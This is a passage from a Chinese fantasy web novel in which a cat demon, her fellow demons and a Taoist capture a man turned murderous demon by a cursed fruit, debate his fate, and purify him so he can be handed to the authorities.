他感到前所未有的愤怒，愤怒自己的废物和没用，但更多的是愤怒这些人的偏心和不在乎。
“贱人！”
张三怒吼一声从地上暴起，身体大部分还是黑烟的模样，只有双手变成了肉刀，靠着黑烟无影无形的走势朝叶米冲去，和她对打了几个来回。
万情贞本是贴着门的，哪知门外两个老人家不住地在敲门，一下一下打在他背上，敲得他头疼，他就挪到了边上的墙上，紧张地看着猫和无形鬼对打，尽量不让自己拖后腿。
张三哪里会功夫，连三脚猫功夫都没有，他最多是仗着叶米捉不住黑烟，而他的肉刀又能伤人这点才撑了几招；最主要的是叶米还在试探如何才能捉住他，黑烟打不到，她试探着去捉肉刀，虽然能造成一些伤害，可受到攻击的肉刀很快也会变成黑烟躲开。
得想个办法……
就在这时，门忽然传来一声巨响，叶米转头一看，门上边已经被敲裂了一半，她喊了一声：“别让他们进来碍事！”
“遵命！”
万情贞没想到这张老夫妇这么执着，连忙用法术罩住门，形成了牢靠的屏障。
书房里已是一片狼藉，叶米躲过张三砸过来的砚台花盆等物，一挥手将书格上的一排书全部往张三扫去，只见黑烟被横飞来的书一本本压下，烟粒子碎了一地，一阵一阵地从空隙中逃跑。
叶米灵光一闪。
她转身摘下挂在墙上的中秋赏月团圆图，长长的卷轴在她手中如游龙般飞舞，由上及下地被她灌注了灵力，很快就通体发光，叶米循着黑烟溜走的方向而去，挥着卷轴堵在它的前方，那黑烟措手不及地撞上卷轴。
按照经验，黑烟应是能穿过这卷轴的，所以张三第一时间不是想拐弯，而是直冲向前，但冲了一半他感到不对劲了，为什么他半个身子来到了画中？明明他没有要藏入画里的意思……
可未等他反应过来，叶米将卷轴一挥，直接将后边剩余的黑气也罩了进去，手疾眼快地将画卷了起来。
直到这时候，张三才意识到什么，惊恐地大喊道：“怎么回事，我怎么出不去了！？你做了什么，快放我出去！？”
叶米将手中的卷轴转了个花，语气中有些得意：“成也萧何败也萧何，能让你躲藏的东西自然也能困住你。这卷轴上有我的妖法，不如你在里头潜心修炼一会，看看是我杀了你快一些，还是你破解我的妖法更快？”
“贱人、贱人！！”
“猫大人你太厉害了，还能想出这样的好办法！”万情贞殷勤地迎上前来，用手指戳戳那不安分的卷轴，恶声恶气道，“安分点，猫大人心情好了，你就能死得痛快些！”
叶米点点头：“说得不错，走，去找南显成。”
“好嘞。”
万情贞刚把门上的法术屏障撤下来，门就不堪一击地倒在了地上，露出后头拿着棍子的两个小厮。
见门开了，他们有些害怕地退了两步：“老爷、夫人，门、门开了……”
张老夫妇连忙迎上前来：“儿啊，我的儿呢？”
卷轴里的张三仿若瞧见救命稻草，连忙喊道：“娘、爹，我在这啊！你们快救我！！”
张老夫妇怎么可能想到他们的儿子在卷轴里，听到儿子喊救命，着急地左顾右盼：“三儿，在哪啊……你在哪啊？”
“我在——”
叶米适时给卷轴施了禁言术，然后往屋里一指：“在里头。”
张老夫妇便互相搀扶着往屋子里找儿子去。
叶米要杀他们儿子，自然和他们无关，她就想无关人员少一点、她也省心点，便趁着张老夫妇被她忽悠进去的功夫，带着万情贞快步离开了。
南显成听他们的安排，就在一个小屋子里画符，几人赶到的时候他已经闲着无聊画了许多张符箓，说是以防万一。
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叶米手中握着卷轴，看向谢珍珠和胡和烈：“都准备好了？”
谢珍珠和胡和烈：“好了。”
于是她拎着卷轴上的天杆在空中一挥，那藏在画中的黑烟瞧见前方的自由，压根考虑不到什么阴谋诡计，不管不顾地从里头跑了出来，溜得离卷轴远了许多，还是那黑烟的模样。
他自在地晃了晃，甚至大笑了起来：“哈哈哈！既然我出来了，就不会再让你们故技重施！”
“故技重施？”胡和烈咧嘴一笑，“好啊，那就让你试试新花样！”
他指尖亮起金光，其余三妖也紧跟其后开始施法，四妖立在房屋四角，南显成站在一侧，两指夹着符箓，时刻做好准备。
张三不知道他们在做什么，但不妙的预感在他心头打鼓，他顿感不妙，想了想还是走为上策，居然也没有人拦他，他直接破门而出到了院子里。
……怎么回事？
就在他奇怪之时，忽然感到什么东西穿过了他的胸膛，张三低头一看，是一条有半根手指粗的红线，他不知是什么玩意，但胸膛一点也不疼，不等他多想一回，又有三根红线从前边和左右飞过来穿过他，四根红线交汇在他体内。
张三：？
他试着化作黑烟散开，但他不管散到那，那四根红线始终跟着他走，仿佛可以定位他的位置。
张三顿感不妙：“什么鬼东西！啊——”
他话音未落，忽地感受到一股不受控制的拉扯，拉的还是他的灵魂——毕竟他现在也没什么实体，总之就这么一路将他倒退着拉了过去，眨眼间他又回到了刚刚的小屋子里，余悸未消地看着围着他站着的五个人，不得不汗流浃背。
张三还想跑，但他发现自己四肢还能动，但怎么也走不出一步，那四根红线就像钉子一般，将他的七魂六魄给钉在这里了。
胡和烈笑道：“如何啊，我们的新花样？”
张三怕得要死，嘴硬道：“你们把我困住也没用，只要我还是黑烟的形态，就没人能伤得了我！”
南显成于是上前将符箓贴在了黑烟上，眨眼间张三就显出了人类肉身的原形。
张三：……
“怎么会这样、怎么会这样……啊！”他试图再次变成黑烟，但是一起势，身上的符箓就金光一闪，他就心脏就开始抽疼，“你们对我做了什么！”
“我们对你做了什么？”谢珍珠狠狠地发狠道，“你怎么好意思这么问的？我们还没问你你对那些无辜的百姓做了什么！”
张三和她比谁更凶：“那是他们活该！”
“张三，死于你手之人就算曾经真的做过伤害你的事，但那些小事根本罪不至死，”南显成面容严肃，“不过是些寻常人之间都会有的小矛盾和不如意，你为何如此仇恨他们？”
张三：“我就是恨，就是要他们死，不行吗！？”
叶米冷笑一声，抬手：“行啊，既然这样，那我也要你死……”
49. 第 49 章
“不要啊！不要啊！”门外忽然扑进来两个人，是相互搀扶着跑出老年人极限速度的张老夫妇，“不要杀他、不要杀他，手下留人啊——”
叶米不耐烦地啧了一声，手还抬着呢就被这么打断，真烦：“万情贞，把他们丢出去。”
“好嘞……欸，你们别这样！”万情贞还没怎么着，那俩老人就一人扒拉住他一只大腿了，他一下子变得寸步难行，“张老爷、张老夫人，你们何至于此？快起来吧！”
张三很不高兴看到他爹娘这样，冲他们喊道：“你们来做什么？走啊！不关你们的事！”
“孽畜，你给我闭嘴！”他爹哪怕跪在地上扒拉住万情贞的一只腿，但对儿子说这话的语气里还有不容抗拒的威严，“要不是你糊涂，我和你娘又怎会落得如此低三下四的地步！你还不赶紧跪下来，向几位大师求饶放过你这条贱命！”
张三被他爹这么一骂，原本还有些怕死的恐惧被骂到了九霄云外，许多愤懑像吹入皮筏子的气，将他整个人吹涨得快要爆炸了，他感到自己脖子和脸上的静脉充血膨胀，压得他的嗓子难受：
“是，都怪我，我活这一辈子就是来丢你们的脸的！对，我是孽畜、是逆子，我就是条贱命！那你们还在这做什么？我死了不更好？不更让你们省心？从此你们只有一个儿子，那个让你们面上有光的儿子！”
张老夫人踉跄着从地上爬起来，冲过来“啪”地给了他一巴掌：“张三，你也不是无知小儿了，何时才能懂我和你爹的苦心啊！”
“我怎么不懂！”张□□驳道，“你们赤裸裸的偏心我从小便懂了！”
“你……”
“好了，我不是来看戏的。”叶米抱着胸，一脸不耐，“你们二老最后还有什么要说的尽快说了，等会就去外边等着，血腥场面不宜老人观赏……放心，我们会好事做到底，顺便帮你们儿子收尸了。”
张老夫人还想挣扎一下，转而拉住叶米的胳膊：“叶姑娘，您行行好，饶了他这一回吧……”
叶米：“不是一回，是三回半，他杀了三个人，昨晚差点又死一个。”
张老夫人：……
“张老夫人，”谢珍珠在边上劝道，“您想明白啊，张三已经不是你们曾经的儿子了，他现在是妖怪！他杀了那么多人……”
张老夫人也知道这是不可反驳的事实，她真不知道自己的小儿子怎么会变成这样，苍老的双眼里无助地流下了泪水：“他是一时糊涂，他不至于这么坏的……”
张三：“我不糊涂，我就是要他们死，我要他们为自己的偏心付出代价！”
叶米忽然想到什么，哼笑一声：“是，所以你刚刚还想杀了你爹娘，如果那时来的是真正的张老爷和张老夫人，现在也没有人站在这替你求情了。”
“什、什么……”
听到这话，张老爷总算放弃了万情贞的大腿，忍着腿麻站了起来，不可置信地指着张三道：“你、你竟想杀了我和你娘！？”
南显成：“其实当时的情况是……”
“好，好！”张老爷一把拉过自己的老伴，瞪着他不知悔改的儿子，字字泣血，“从今往后，我就当没生养过你这个儿子！走！”
“我不走！”张老夫人却把他的手给甩开，泪眼婆娑地看着不愿与他们对视的张三，轻轻地哀求道，“好，都是娘的错，是娘不该偏心，三儿，你悔改吧，你认错吧，好不好……”
张三面色狰狞着不说话。
胡和烈在边上凉凉道：“去阎王殿里悔改认错吧。”
南显成：“其实……”
张老爷：“走啊！你还指望这个要杀亲爹亲娘的孽子做什么！”
张老夫人：“不要，三儿啊……”
南显成：“在下有话要……”
叶米：“你们愣着干嘛，还不快把二老拖出去？”
谢珍珠上来：“张老夫人，您别执着了……”
万情贞接着：“是啊，您老这大把年纪的，也别太伤心了，白发人送黑发人也是世间常有的事……”
南显成：“请几位听我……”
张三：“我就杀人怎么了！”
南显成脑壳疼，不得不提高音量：“还请几位听我一言！”
大家就看向他，看他能说出什么花来。南显成叹出一口气，掏出一张符纸：“其实有一事在下一直觉得古怪，张三原本只是凡人，因何缘故变成了妖？究竟是被妖物附身了还是……”
“对、肯定是被妖怪附身了！”他这话仿佛让张老夫人找到了合适的理由，她哭得浑浊的双眼倏地明亮起来，“一定是这样，我的三儿不至于这么坏的！”
南显成：“张老夫人，等……”
张老夫人扑上去抓住动弹不得的张三，用尽全身的力气摇他的肩膀：“不管你是谁，快从我儿子身上下来！妖怪，你有什么就冲我来！”
张三烦不胜烦：“事到临头，你还假惺惺的做什么，没了我你们才省心，才好去京城和哥过日子！你们现在帮我求情，早些时候去哪了？心都偏到京城去了，装什么模、作什么样！”
“三儿……”
张老爷忍不住了：“你若是有上进心也就罢了，哪怕没有你哥的成就，也能自己丰衣足食；可你偏偏不学无术，自甘堕落，要我和你娘如何不偏心！？你说我们装模作样，要是我们并非真心待你，早就懒得骂你了！”
“每次骂完你，我和你娘气得整宿胸闷睡不着觉，这不是关心是什么！你还见我对谁这么在乎过？”
张老爷越说越气，一边掉眼泪一边捶胸口：“好，都怪我，怪我教不好孩子，把你教成这个德行！事到如今也没什么可说的了，你我父子一场，就不劳烦几位大师替你收尸了！”
他这声嘶力竭的话一落下，屋里难得安静了下来。
叶米掏掏耳朵：“吵完了吧？”
“叶姑娘，”南显成连忙走过来，“还请让我用此符一试。”
叶米看向
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那张符箓：“驱邪符？不是不行，不过别怪我没提醒你，我的猫眼可看透凡人有无被邪祟附身，若是看不透，说明此人就是邪祟，或是他早已与邪祟融为一体，无法剖离……张三就是这情况。”
南显成捏着符箓的手指紧了紧：“……我明白。”
叶米一耸肩：“若是你不心疼浪费符箓，将死之人，给你一试也无妨。”
胡和烈：“搞快点。”
南显成点点头，往符箓中注入灵力，符箓散着金光飘起，快准狠地贴到了早已不做挣扎的张三身上。
众人看他的反应，只见他忽然开始浑身抽搐，眼翻白眼，口吐黑沫，肤色一片接着一片地开始异变，变成一种腐烂的尸绿色，皮肤一簇一簇地皱在一起，像是烂果子的发皱果皮，很快就失去意识，没了人样。
张老夫人发出一声尖叫，想去触碰儿子，但又不敢，差点没吓晕过去，好险被边上的张老爷扶住了。
从人样变成怪物，几妖刚刚接触过，就是那刺猬精的衍生怪，不过张三的情况似乎有些不同。他们看得恶寒又仔细，谢珍珠捂着嘴巴，逼自己不要害怕。
万情贞看他的样子，不知为何感到诡异的熟悉：“他、他这是……怎么了……”
“是焕影果……”南显成眉头紧皱，上前把符箓摘了下来，“他吃了焕影果，居然是这样。”
胡和烈问他：“焕影果是什么？”
南显成面色沉重：“是一种青色的果子，我师父的书中曾有记载，一般果树成精，成精的是树，但此树是果子成精，每一颗果子都是妖怪，它们妖法薄弱，不堪一击，甚至修不成人形，但特殊在所有果子都能轻易换变成人类的模样。”
他越说，万情贞的眼睛就瞪得越大，他打了个惊嗝，看向叶米：“猫猫猫猫大人，我我我们之前是不是……”
叶米沉着：“嗯。”
万情贞哇哇大叫：“老天有眼，幸好我没吃啊！！猫大人，太恐怖了！”
叶米冷静：“嗯。”
谁瞧得见她也出了一掌心的汗。
张老爷想起什么神色焦急道：“这位公子说的果子我们似乎见过，是上次三儿外出带回来的，他说是同好友出行，误入一片林子，肚子饿了就摘了吃了，觉得味道不错就摘了一些回来……不过带回来的时候已经腐烂。”
因此他们躲过一劫。
“原来张三真的吃了，而吃了那果子会变成这样……”谢珍珠也是惊出一身冷汗，她看看叶米，又看看万情贞，“好险好险。”
胡和烈心道这两妖也是命大，要是当时他进了林子里，以他这爱吃果子又鲁莽的性子，估计看见果子就要先吃个爽快……真吓妖啊：“咳，那他现在究竟是人还是妖？”
南显成叹了口气，他能感受到张老夫妇正看着他，闭了闭眼，不忍心道：“算是……妖。吃了焕影果之后，他拥有了果子幻化的能力，有了妖法的人，自然是妖。”
叶米点头：“懂了——”
50. 第 50 章
“等等！”南显成走到她面前，用一种很试探的商量语气道，“叶姑娘，在下以为，也许就像张老夫人所说，张三不学无术、自甘堕落，但并没有那么坏，也许是误食焕影果之后，妖果让他产生了妖性……”
叶米缓慢地眨了下眼：“你的意思是，妖性恶劣？”
接受四妖注目礼的南显成：……
“咳，当然不是！”他稳定心神解释道，“利欲熏心、财迷心窍，虽是指人心易被蛊惑，可反之，当一个凡人忽然拥有心性无法匹及的能力时，难免会因此催生要匹配此能力的欲望。”
“几位想必也明白，人变成妖需要执念欲望促之，成妖之后，这便成了他们最明显的妖性。何为妖性？豺狼虎豹好恶斗，兔羊牛马喜和平，不能分对错。如今，是妖果促成张三的执念成了他的妖性，在有此妖性之前，他也许……并非有这么坏。”
他说完，心里提着一口气，观察着四妖的反应。
一开始他们都是沉默的，有听没有懂的张老夫妇虽是一脸茫然，但很安分地挨在他们儿子边上，没有说话。
万情贞左看看右看看，小心打破平静：“那个……南公子，你是何意啊，我们到底杀不杀？”
南显成：“在下的意思是……”
“我知道。”谢珍珠举手，“和那个刺猬精一样嘛，它为了早日修炼成人形，走歪门上了人类的皮，也要承担起那人的执念，所以叶米说，她不断地生衍生怪、又纠缠着那个村子不放……要是她不披那层人皮，就不用这么麻烦了。”
“是。”见她明白自己的意思，南显成松了口气，露出一笑，“妖披人皮会染上人性，人被妖化会被催生妖性。”
胡和烈琢磨琢磨，总算琢磨出来他这婉转的话后面的意思：“所以你觉得我们不该杀张三，因为是这妖果害得他想杀人，他不吃妖果就什么事没有了？”
南显成瞥了一眼叶米，点了点头。
万情贞问：“可是那些因他而死的人怎么办？”
“这……”南显成微微摇头，面色之中亦有纠结，“也不是我说的算。”
那谁说的算呢？
难道是叶米吗？
叶米不知道，她真是要烦死了，心里骂道：果然什么事情扯上人类就会变得麻烦复杂，要是杀一只作恶多端的妖不就简单多了？现在搞什么？又要让她选？她的想法很简单啊，这些碍眼的玩意，一爪子全杀了算了！
“万情贞。”叶米问掌管记分薄的书灵，“你觉得要怎么办？”
万情贞：……
“咳咳咳……”他虚弱地、唯唯诺诺地说，“我、我只是个小书灵，也没参与成仙考核，我、我不知道，我不能决定的……”
南显成看向万情贞，猜想他在这小团体里会是什么样的角色。
叶米又问另两个：“谢珍珠，胡和烈，你们觉得该不该杀？”
胡和烈就说：“我随你。”
他自然是随便的，不成仙还是大少爷。
谢珍珠闭着眼睛摇了摇头。
叶米：“不知道？”
谢珍珠鼓足勇气，她知道对叶米来说，杀比不杀简单：“不该杀……他也不是故意要吃焕影果的，人性脆弱，抵挡不住妖果的影响，叶米……”
她还提心吊胆着，哪知道叶米很快就道：“好，那就不杀。”
谢珍珠：？？
啊，就这么听她的啦？
等等……她是能做决定的妖吗！等等……
不只是她惊讶，屋里大家伙都很惊讶，张老夫妇除了惊讶之外还有惊喜，他们听不懂什么果子妖性的，只知道自己的儿子不用死了！面面相觑着流泪，感觉人生从来没有这么高兴过。
南显成总算露出一个轻松的笑容，他心想，叶姑娘也没自己先前认为的那么狠心嘛……然后就看她手一抬，空中很快浮现出一幅泛着灵光的地图来，叶米往上边看了一会，不知为什么又重复了一句：“我不杀他。”
南显成发现那三只妖一见到这幅地图，忽然变得好安静。
叶米安静等了一会，第三次说：“我不杀张三。”
南显成不明所以，但看谢珍珠的脸色，他发现了很多不妙。不等他想明白，就见叶米将地图一收，转过来面向他们，神色是奇异的冷淡：“你们都看到了？任务……没有完成。”
谢珍珠倒吸一口冷气，不受控制地退了半步，眼里有些泪光：“我……”
胡和烈“哈”地笑了一声，半是阴阳半是感慨：“叶米，亏你想得到这办法，佩服啊。”
南显成感受到空气中微妙的剑拔弩张：“这是何意？叶姑娘，那副地图是什么？”
叶米的指尖闪起灵光：“你不用知道。”
“且慢！”南显成见她起了指决，连忙往她前边一拦，“叶姑娘，发生什么事了，你前言才道不杀他，还……说了三次，为何转头就反悔了？”
还真是转个头的功夫。
叶米：“不是说给你听的。”
南显成隐约意识到什么：“为何出尔反尔？”
叶米冷眼微眯：“让不让开？”
南显成没让开，只是转头问谢珍珠：“谢姑娘，可否请你告诉我发生了什么变故？”
谢珍珠瘪着嘴巴抽眼泪，不想理他。万情贞一个脑袋好几个大，真是不知道怎么办了，能救一个是一个：“唉……南公子，你别这样，你打不过猫大人的！”
南显成正要说什么，忽然感到肩膀一疼，他整个人就飞了出去，好险他及时反应过来，在撞到墙之前后脚一蹬，借力往前飞去，迅速地抽出腰间的桃木剑，一挥击开了即将落到昏迷不醒的张三身上的法术。
叶米轻哼一声，又使出两招，皆被道士的辟邪剑弹飞。
……所以她说，人类就是麻烦。
叶米指尖化出利爪，飞跃向南显成，转眼之间就过了几招。胡和烈在后边喊道：“要打出去打，屋里还有人！”
谢珍珠紧跟着：“不要打了！叶米，南公子，你们
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不要打了！”
然后是万情贞无语的崩溃：“怎么会这样、怎么会这样啊……”
一人一妖默契地转场到院子里打架，吓跑了两个站岗的小厮，南显成闪身躲过突来一爪，那爪子就落到了他身后的树上。叶米把爪子抽回来，只留下五个手指洞，震得树晃着身子喊疼。
叶米很难办，她不能直接杀了他，但轻微一些的法术又会被桃木剑弹开，近身搏斗的话南显成身法也不错，打几个来回他还会跑……这样拖延了一些时间，惹得她心烦。
南显成捂着被妖法擦伤的胳膊急退几步，站在那喘了一口气，看着叶米道：“叶姑娘，我不愿同你争斗，也知道斗不过你，我只是想知道，为何你突然出尔反尔？”
叶米不耐烦解释，但现在不解释他就会一直碍事，她轻轻叹出一口恶气，简明扼要地和他说明了一下考核地图的事情。
南显成听着，眉头就没松下来过：“原来是这样……”
“就是这样，”叶米抱着胸，觉得自己已经说得很明白了，“这是天意，我也不过是顺天意而为。”
南显成摇摇头：“若是杀了他也不算完成任务，那该如何是好，这样你们就没有回头路了。”
叶米奇怪道：“像他这样杀了人的妖，下场不过是死或是活，既然他活着不是对的，那只剩下死路一条，世间生灵走在死路上时，都不会有回头路。”
“不该是这样的……叶姑娘，世上的事怎会只有生与死两条路？”南显成万分诚恳道，“还请三思，我们再想想其他办法如何？”
叶米瞅他的表情，亮着灵光的指尖一下一下地闪烁着，似乎也很不耐，她冷眼看着南显成道：“若不是我不能随意杀人，像你这种碍事的，早已死了千百回，哪还能站在这和我讨价还价？”
南显成朝她一拱手，低头垂眉：“叶姑娘是菩萨心肠。”
叶米冷笑：“不必侮辱菩萨。”
南显成一愣，抬眼看向她，只见她走向屋里的背影。
“那道士被你打死了？”胡和烈坐在扶手椅上吃果子，瞅见猫走进来，故意道，“怎么费了这么久时间。”
他话还没说完，应该被猫打死的道士就走进来了，很客气地朝几人拱手问好。
虽说知道叶米不会杀人，但见到他活着，谢珍珠和万情贞都松了口气。螃蟹精迎上猫问：“叶米叶米，所以是……杀还是不杀？”
叶米瞥了眼小心看她的张老夫妇，没回答她，而是问胡和烈：“胡和烈，你还记不记得告示墙前，师父同我们说了什么？”
胡和烈记得个大概：“不就说让我们为百姓除害，抓住无形鬼。”
“还说了别的。”
“我哪记得这么清楚。”
“这倒是有些奇怪呀。”谢珍珠琢磨了一下，“为何不在我们四妖同在时说呢？只告诉你们两个。”
胡和烈想了想：“师父似乎是在告示墙前等着我们来。”
万情贞：“为何是在告示墙前？”
51. 第 51 章
“那定是和官府有关。”南显成眼前一亮，“或许……几位的师父是想让你们捉住无形鬼，交给官府处置，所以在官府的告示墙之前等候，提醒你们看无形鬼的通缉令。”
他说得不无道理，但是叶米不太信他，微微思酌，还是道：“胡和烈，我们用时转镜看看当时情况。”
胡和烈从扶手椅上站起来：“这点小事还要用时转镜啊？”
“废话少说。”
两人便用时转镜重现当时景况，这时听清楚了，原来树法祖师那时候是这么说的：“为师还有要事，话不多说，抓住这无形鬼，交予官府，为雷州百姓斩除祸害，如此便算你们过了这第二关。”
“交予官府！”谢珍珠跳起来，“师父说交予官府！”
叶米：“也没说交活的还是死的。”
谢珍珠：……
“行了行了，至于吗，”胡和烈知道她嘴硬，挥挥手道，“要是交给官府还不算过关，那就再偷出来杀了就是。”
万情贞指了指张三：“可是他现在这模样，官府也不会收啊，而且等他恢复之后，小小牢狱怎么可能困得住他？”
谢珍珠小鸡啄米：“是这么个道理！”
叶米也觉得很有道理：“所以师父没说要交活的还是死的是有道理的。”
谢珍珠呆若木鸡。
“在下有一想法……”
叶米：“不想听。”
南显成：“既然如此，不如让在下一试，将张三的妖性净化，让他恢复成人之后再送去官府处置？”
他这话一说，四妖还没什么反应，张老夫妇就激动地爬过来：“大师，您这话的意思是，我们三儿还能恢复成凡人模样！？”
南显成眉心蹙着，略微犹豫地一点头：“我不能保证，还得看他与焕影果的融合程度，以及……天意。”
张老夫人哭道：“不管后果如何，恳请大师一试，我们张家对您感激不尽啊！”
南显成道：“就是他恢复成凡人，也会被我们送入官府，也许逃不过一死。”
张老夫人与张老爷对视一眼，哗哗流着眼泪：“我们二人早已看开，三儿做错事是该罚，可就是死，也不能让他这副模样去死啊！他太糊涂了，事到如今还不认错，也许真是那妖果所致。恳请几位大师出手相助，给三儿一个恢复人性认错的机会，如此，是死是活悉听尊便……”
说完他们还要磕头，连忙被南显成和两妖扶起来了。
“二老若真是这么想，”南显成叹了口气，“在下愿勉力一试。”
反正杀不了，那他要试就试吧，试出个好歹倒省事了。
张老夫妇忍着恐惧和眼泪将张三从地上扶起来坐好，就被谢珍珠劝着去一边休息了，本是打算让他们离场，可两位老人就想要挑战一下极限，偏偏要留，说是死也要看三儿如何死去。
南显成从包裹里拿出三张符箓，一张开天门符贴张三额前，一张闭地户符贴他脑后，最后一张塞鬼路符贴他胸前。
如此做好准备，只见他盘腿坐在张三身前，旁若无人，神色冷静严肃地在胸前结了一个复杂的手印，口中念念有词“灑天天清灑地地灵…灑了凶神恶鬼……”后双手立指往前一推，放出一道灵光清泉来，直冲张三胸膛。
随着那道灵光清泉涌入张三体内，他原本尸绿色的发皱皮肤开始渐渐好转，像是染料逐渐被洗去一般。
谢珍珠惊奇道：“这是什么法术？看着好厉害。”
胡和烈盯着专心致志的南显成道：“以灵力化清泉净化邪祟，是极消耗精气和灵力的术法，若是你来，撑不过半炷……半半炷香。”
谢珍珠无声“啊”了一下，小声道：“还好我也不会……”
张老夫妇瞧见自己的儿子逐渐有了人样，眼里闪起希冀的光。
屋里的人和妖各有所思，比如叶米这时候就想，这个破道士居然为一个杀了人的妖物用如此大耗的法术去博一个让他恢复成人的机会，而他恢复成人之后也会被送去官府受罚，估计难逃一死……
所以他到底在干什么？这难道不是无用功？
还是说……当真只是为了那张老夫妇口中“一个恢复人性认错”的机会？可恢复人性了又如何？认错了又怎么样？不该死的人已经死了，该死的人的除了死之外还配得到什么吗？
她讨厌这些唧唧歪歪的弯弯绕绕。
若是考核就是让他们所有妖打架，谁站到最后就算赢了那该多好……叶米有绝对的信心……
“……怎么回事！？”
谢珍珠压抑的惊呼打断她的胡思乱想，叶米回过神一看，南显成的灵光清泉有一端变成了黑水，正是张三那一侧，黑水从他体内生出，慢慢地污染了清泉，逐渐朝南显成逼近，而道士已是满额头的细汗，苍白的唇紧紧抿着不泄气。
“张三身上妖气颇深，他到底吃了多少焕影果？”胡和烈眉头一皱，左看看右看看，“这样下去南显成也会被反噬。”
万情贞脸色慌张起来：“啊，那怎么办啊？这这这，本来一个已经这样了……”
“我如何知道！”胡和烈的语气里也有些着急，“他们这不知道什么派的法术，我们哪里会？”
万情贞：“我记得，是乌来山蓬承派！”
“……知道我也不会！”
谢珍珠转了个圈：“那那那，要不让他先中断施法？”
胡和烈拦住跃跃欲试的螃蟹：“你课都听到哪里去了，这是连合法术，可合不可断，中断之后双方都有危险。”
“这也不行、那也不行，”谢珍珠抱头苦恼，“我们就眼睁睁看着他们去死吗！”
“唉……”万情贞已经开始说丧气话了，他同情地看着硬撑着的南显成，叹气道，“原来南公子先前说的，还要看天意……是这个意思。”
天意？
叶米琢磨着，什么叫天意？她自认聪明，却始终不懂，一个人该不该死，一只妖能不能成仙，难道不看其所作所为，而是看天意吗？
“不行不行，”她听见谢珍珠说，“要不我们
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死马当活马医吧，总比坐以待毙好……”
“也成，不过等会搞死了别怪我啊。”胡和烈这么说。
“哎呀，怎么样都好啊，来不及了——”万情贞还是着急忙慌。
胡和烈也是抱着破罐子破摔的心态，起了手势正要死马当活马医，却就在他释出法术的前一瞬，边上忽地又出现一道灵光清泉，汇集到原本南显成那道上，一鼓作气地逼退了黑水好几寸。
几妖一愣，顺着那道灵光清泉望去，正是冷脸施法的叶米。
南显成总算感到一丝可以松懈的余地，他万分诧异地看向边上的妖，一是诧异她居然会灵光清泉的道法，二更是诧异她会帮忙……主要是瞧着她的脸色，明明是不太情愿的。
叶姑娘她……
“叶米，”胡和烈也是震惊啊，”你怎么会他们什么什么派的道法？“
万情贞温馨提醒：“乌来山蓬承派……猫大人，你好厉害啊！”
叶米微不可查地撇了下嘴，语气有些不屑道：“也不是什么厉害法术，看一眼还能不会吗？”
三妖一人：……
真给她装到了。
不管怎么说，有了她的帮忙之后，那股黑水是节节败退，最终退回到了张三体内。叶米妖法高强，灵光清泉源源不断汩汩不止，不过半炷香时间，张三就完全恢复了人样。
经过这么一遭，好险成功了，大家伙脸上都有喜色，南显成收了法术，虚弱地站起来想和叶米道谢，转眼就看到她嘴角边流到下巴的血，心下一惊：“叶姑娘，你……”
叶米擦血：“没你虚。”
南显成：……
“南公子，毕竟我们是妖嘛，”万情贞充当解说员，“我们道心不稳，用你们道士的道术自然会有反噬，不过你放心，猫大人修为高强，休息一会就没事了。”
“原来是这样……”南显成感到许多愧疚，“是我不好，若不是我逞能，叶姑娘也不会受伤……”
“你下不为例……”万情贞胡乱地安慰，“最好别有下次。”
南显成万分歉疚地看向叶米，叶米这时已经一副没事妖的样子了，走到张三边上看他情况。
张老夫人小心地摇晃她儿子：“三儿，三儿，你醒醒啊，你别吓娘……”
张三似有所感地睁开了一半眼睛，在看到自己爹娘之后，又无力地合上了，张老夫人以为他死了，差点要晕厥过去，还是叶米说：“他只是体力不支，休息一晚就好了。”
张老夫妇连忙和她道谢，又说要安排客房给他们住。
闹腾了半个晚上，几人都很累，就是随便找个空地都能随地而睡，便答应在张家留宿一晚，明早就送张三去官府。
南显成叫住叶米，说是要给她一些疗伤复元的药，叶米打了个哈欠：“你们道士用的药给我用，确定不会雪上加霜？”
南显成也不清楚，他没这么干过，现在是关心则乱，没办法考虑周全，被她一说，顿时就羞愧地不知如何是好：“是我思虑不周，叶姑娘……”
52. 第 52 章
叶姑娘困得要命，转头进了屋子关上了门。
天微微亮时，外头薄雾弥漫，今日湿气有些重。
叶米这时候就醒了，她自成精以来每日勤勉刻苦，从来都不是一只懒惰的猫。昨晚伤了元气，她就抓紧着要恢复回来，饮了杯凉茶就开始在床上打坐练功。
南显成睡得不踏实，一整宿要么是难眠要么是半梦半醒，这会他忽然闻到空中一股强势的妖气流动，连忙从床上坐了起来。
难道是张三又出了变故？
他快速换好衣服，拿起桃木剑就出了门，顺着妖气来到叶米的屋前，脸上露出迟钝的迷茫。
是叶姑娘……
这么说来……南显成站在人家门口想，不知为何他总是对叶姑娘有一种很熟悉的感觉，似乎在哪里见过……可他也记得分明，确实是从没见过。虽然这么想有些好笑，难道真是师父曾说过的，冥冥之中前世的缘分……
“嘎吱。”
门被打开，南显成恍然抬眼，和屋里的叶米对视上，瞧见她冷淡的表情，只觉得心脏一跳，也不知是吓的还是怎么。
叶米打量他：“你在我门口做什么？”
“……我，”南显成感到脸上一热，“对不住！我是寻着一股妖味而来……”
“你才知道我们是妖？”
“……是在下唐突了。”
叶米还以为他大早上的过来有什么事，见他没事就打发他走了，回到屋里又练了会，直到房间被透过窗户进来的阳光照亮大半，她精神也好了不少，便去叫醒了谢珍珠他们，打算赶紧拎着张三去官府交差。
几妖收拾好东西，和南显成一起来到张三的卧房，看见张老夫妇和张三正在一起抱头痛哭。
见到他们进来，张三抹了把眼泪，从床榻上踉跄地爬了下来，二话不说就给他们磕了几个头。
谢珍珠吓了一跳：“张三，你这是做什么？”
张三大喊道：“多谢几位大师救命之恩，张三无以为报……”
“救命之恩？你话说太早了，”胡和烈摇摇头，“我们现在是来捉你去衙门的。”
“小人明白，”张三抽抽鼻涕说，“我明白自己做了很多糊涂事，爹和娘都同我说了，不管是不是妖果所害，那三条人名都死于我的手下——只因我心中有不善的念头，被那妖果趁虚而入……”
“唉，”南显成叹了口气，无奈道，“人性复杂，痴嗔怨念都是再正常不过的事，凡人寻常时的不善之念，多是无伤大雅，只是你误食妖果，放大了怨念，这才导致了悲剧。”
张三哗哗流眼泪：“几位大师，如今我说这话太晚了，但我本心从未想过害人，更不愿伤害我爹娘……小人不才，这辈子无所成就，对不起爹娘，也对不起因我而死的三位无辜的人。”
“可人死不能复生，无本事之人也不能一夜之间让我爹娘享福。多谢几位大师助我恢复人性，如此，我至少能向爹娘、向无辜枉死之人赎罪……即使罪不可赦，起码让我爹娘知道，他们的儿子并不是那般罪大恶极之人，往后余生也不会因教出了我这个不孝子而感到悔恨痛苦……”
